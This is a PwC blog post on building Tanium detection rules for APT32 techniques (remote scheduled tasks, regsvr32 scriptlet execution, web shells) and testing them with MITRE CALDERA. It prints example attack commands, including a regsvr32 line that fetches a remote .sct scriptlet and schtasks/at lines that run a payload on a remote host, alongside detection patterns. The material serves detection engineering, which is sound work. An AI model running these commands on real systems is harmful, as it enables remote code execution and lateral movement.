By Paul Bottomley, Endpoint Threat Detection and Response Lead, and
Wietze Beukema, Endpoint Threat Detection and Response Analyst.
Here at PwC, our Endpoint Threat Detection and Response (EDR) team are continuously evolving and maturing our threat hunting capability. Historically, our focus has been two-fold at the endpoint:
Over the last nine months, we’ve been exploring the MITRE ATT&CK™ matrix (“ATT&CK matrix”) and have been thrilled to see the traction it has gained in the EDR community. PwC has been working closely with Tanium for almost four years now, using the power of near real-time visibility into endpoints to detect, contain and remediate targeted intrusions for our global client base. Through this partnership, we have built Tanium-specific service offerings – helping our clients with everything from threat intelligence to incident response, proactive threat hunting assessments and a range of consulting and integration services within the cyber threat detection domain.
With Tanium’s recent introduction of ‘Signals’ - an intelligence type consumed by their ‘Detect’ module, allowing the continuous and real-time evaluation of intelligence against critical system events on the endpoint - we have been able to create a comprehensive set of behaviour-based IOCs which are matched in real-time and are aligned to the tactics and techniques documented in the ATT&CK matrix. Our journey in doing so also led us to MITRE’s CALDERA, a system designed to simulate adversary behaviour, which we have used to automate the testing of our detection capability.
This article is the first in a two part series about our endpoint threat detection journey. Part one explores our Tanium Signal development and testing, and to bring this process to life, we discuss one particular threat group, APT32 (also known as Ocean Lotus), whose techniques are documented on MITRE here. Part two will dive into security orchestration and how to mature a response process.
In this section, we’ll discuss three techniques used by APT32 (as well as a variety of other threat actors) - Scheduled Task, Regsvr32 , and Web Shell, and a few ways to detect these techniques using Tanium Signals. It is worth noting there may be legitimate purposes for each of these techniques, therefore we always recommend the context of their usage be understood, which may involve analysing binaries passed as parameters, or the reference to a file created on disk, or something else. We are also aware there can be many ways to effectively detect an attacker technique - the purpose of this article is not to provide complete coverage of any of the techniques, but rather share our Signal creation and testing process.
A Scheduled Task is used to schedule the execution of scripts or applications at a specified date and time, but can also be configured to trigger on events, for example a user logging in. Windows utilities schtasks.exe and at.exe can be used to create both local and remote scheduled tasks, and our focus for this section will be remote scheduled task creation, to demonstrate its use in ‘lateral movement’. Explaining the various parameters for these utilities is beyond the scope of this article, however Microsoft documentation for schtasks.exe and at.exe is available here and here respectively.
The first example demonstrates the use of schtasks.exe to create the named task ‘myTask’ on remote machine ‘remote_server’. The execution of this task, which runs under the context of ‘user1’, is set to run daily and invokes ‘c:\windows\temp\payload.exe’.
schtasks.exe /s remote_server /u user1 /p <password> /create /tn myTask /tr c:\windows\temp\payload.exe /sc DAILY
The second example demonstrates the use of at.exe to create an unnamed task on remote machine ‘remote_server’. The execution of this task is set to run once, at 22:00, and invokes ‘c:\windows\temp\payload.exe’.
at \\remote_server 22:00 cmd /c c:\windows\temp\payload.exe
Based on our research of remote scheduled task creation, we created the following two Signals to detect:
"contents": "process.path ends with 'schtasks.exe' and process.command_line contains '/create' and process.command_line contains '/s'"
"contents": "process.path ends with '\\\\at.exe' and process.command_line contains '\\\\\\\\'"
Regsvr32 can be used by an adversary to proxy the execution of malicious code by registering or unregistering DLL files and ActiveX controls in the registry. In other words, regsvr32 can be used to bypass application whitelisting software.
Our research into regsrv32 inevitably led us to Casey Smith’s work, discovering regsrv32 will take a remote Windows scriptlet file from a URL. The scriptlet file, which is actually an XML file, registers a Component Object Model (COM) object and runs either VBScript or JScript code to execute a malicious payload.
The following example demonstrates the use of regsvr32 to download the remote Windows scriptlet file ‘http://remote_server/payload.sct’. A full description of the parameters used in this example can be found in Microsoft’s documentation here.
regsvr32.exe /u /n /s /i:http://remote_server/payload.sct scrobj.dll
Based on our research into regsvr32 and Windows scriptlet files, a few ways to detect malicious regsvr32 execution are:
"contents": "process.path ends with 'regsvr32.exe' and network.address contains '.'"
"contents": "process.path ends with 'regsvr32.exe' and process.command_line contains 'scrobj.dll'"
"contents": "process.path ends with 'regsvr32.exe' and file.path ends with '.sct'"
A Web Shell is a malicious script that has been placed on a web server in the victim’s network in order for an attacker to maintain persistence. They typically provide common backdoor functionality, such as file enumeration, upload/download, and command execution. Web shell code can be added to legitimate files already on the web server, which allows the web shell to blend in, or they can be self-contained files.
Web shells are written in a variety of scripting languages, and APT32 are known to use PHP-based web shells. When an attacker interacts with a web shell to execute commands, it is likely that child processes will be spawned from the parent web server process. For example, an attacker may perform various discovery techniques, one example being account enumeration by issuing the net command. If the compromised web server is running Internet Information Services (IIS), you may see the process w3wp.exe spawn child process net.exe or net1.exe.
Attackers are also likely to upload tool sets through the web shell, which may be used for further compromise of the victim’s network, such as executable files.
A few ways to detect them are to:
"contents": "group((file.path contains '\\\\Inetpub\\\\wwwroot' or file.path contains '\\\\htdocs' or file.path contains '\\\\wamp\\\\www') and (file.path ends with '.asp' or file.path ends with '.aspx' or file.path ends with '.cfm' or file.path ends with '.jsp' or file.path ends with '.php' or file.path ends with '.pl') and file.operation is create)"
"contents": "(process.parent_path ends with 'w3wp.exe' or process.parent_path contains 'httpd' or process.parent_path ends with 'nginx.exe' or process.parent_path ends with 'php-cgi.exe' or process.parent_path contains 'apache' or process.parent_path contains 'tomcat') and (process.path ends with 'net.exe' or process.path ends with 'net1.exe' or process.path ends with 'ping.exe' or process.path ends with 'whoami.exe' or process.path ends with 'arp.exe' or process.path ends with 'nslookup.exe' or process.path ends with 'systeminfo.exe')"
"contents": "(process.path ends with 'w3wp.exe' or process.path contains 'httpd' or process.path ends with 'nginx.exe' or process.path ends with 'php-cgi.exe' or process.path contains 'apache' or process.path contains 'tomcat') and (file.path ends with '.exe' or file.path ends with '.sys' or file.path ends with '.com' or file.path ends with '.dll' or file.path ends with '.scr') and file.path contains not '\\\\temporary asp.net files\\\\'"
Having created our Tanium Signals, the next step is to verify they fire as expected. Rather than testing each Signal by manually executing processes, dropping files on disk, creating registry keys and so forth, it is more interesting to validate every Signal in the context of an attack scenario. After all, multiple alerts in quick succession for Signals classified as ‘low severity’ might be as interesting as one alert for a ‘high severity’ Signal.
In November of last year, MITRE published an automated adversary emulation system called CALDERA. This open source project can be used to test endpoint security solutions in a network environment against the tactics and techniques documented in the ATT&CK matrix. For our purposes, we use it to verify our Tanium Signals work as expected and are in line with the matrix.
Out of the box, CALDERA comes with a limited number of predefined adversarial actions. In order to simulate even more realistic adversarial behaviour, we have extended and will continue to extend CALDERA with additional attack techniques. Using CALDERA’s planning system, simply implementing new techniques and assigning them to the correct ATT&CK matrix categories will automatically create attack paths. This allows us to test our detection capability in the context of an attack.
In the following example, we instruct CALDERA to:
Together with the other techniques we have defined in CALDERA, it will create a chain of actions every time an emulation is run. For instance, in the context of an APT32-like emulation, CALDERA might use regsvr32 to execute a web server process, upload a web shell, and use a scheduled task to maintain persistence, which triggers every time a user logs in. This gives us great insight into the interaction between various techniques, and the way it is reflected in our detection capability.
Bringing everything we have discussed together, we have defined some APT32-like adversary behaviour in CALDERA and performed an attack emulation in our test environment. We have included various discovery techniques and the technique ‘Credential dumping’ in order to run a full attack in CALDERA, even though they are not listed as techniques used by APT32 on MITRE. In our scenario, the emulation makes use of the following techniques:
The following video shows the attack emulation in CALDERA and several Signals firing in our analytics dashboard:
From here, we can determine for each CALDERA action whether at least one Signal fired. For instance, the dashboard in the video highlights some CALDERA actions which resulted in multiple alerts - the web server spawning whoami.exe resulted in the Signals ‘[execution]-Suspicious_enumeration_from_a_web_server_process’ and ‘[collection]-Suspicious_whoami_enumeration_command_executed’ generating alerts. Although this does not come as a surprise (based on the Signal definitions, it is exactly what would be expected), it helps us during the process of reviewing the alerts to prioritise the most suspicious activity.
Moreover, not every CALDERA action resulted in a Signal firing - some attack techniques use methods that can’t currently be detected using Signals. For example, the ‘Credential Dumping’ technique, which invoked Mimikatz, was passed to stdin within a PowerShell session. This is another example of why it is important to not just rely on a single detection method but use a blended threat detection methodology.
In summary, incorporating CALDERA in our EDR process helps us in multiple ways:
In the next part of this article, we will explore how security orchestration further enhances our EDR capability through runbook automation.
Are you running Tanium in your network and want to discuss Signal creation and testing in more depth? We also have a comprehensive set of over 350 Signals which are available on a subscription basis. Drop an email to Paul or Wietze using the contact details below.
Endpoint Threat Detection and Response Lead, PwC United Kingdom
Tel: +44 (0)7808 799134
Endpoint Threat Detection and Response Analyst, PwC United Kingdom
Tel: +44 (0)7850 908221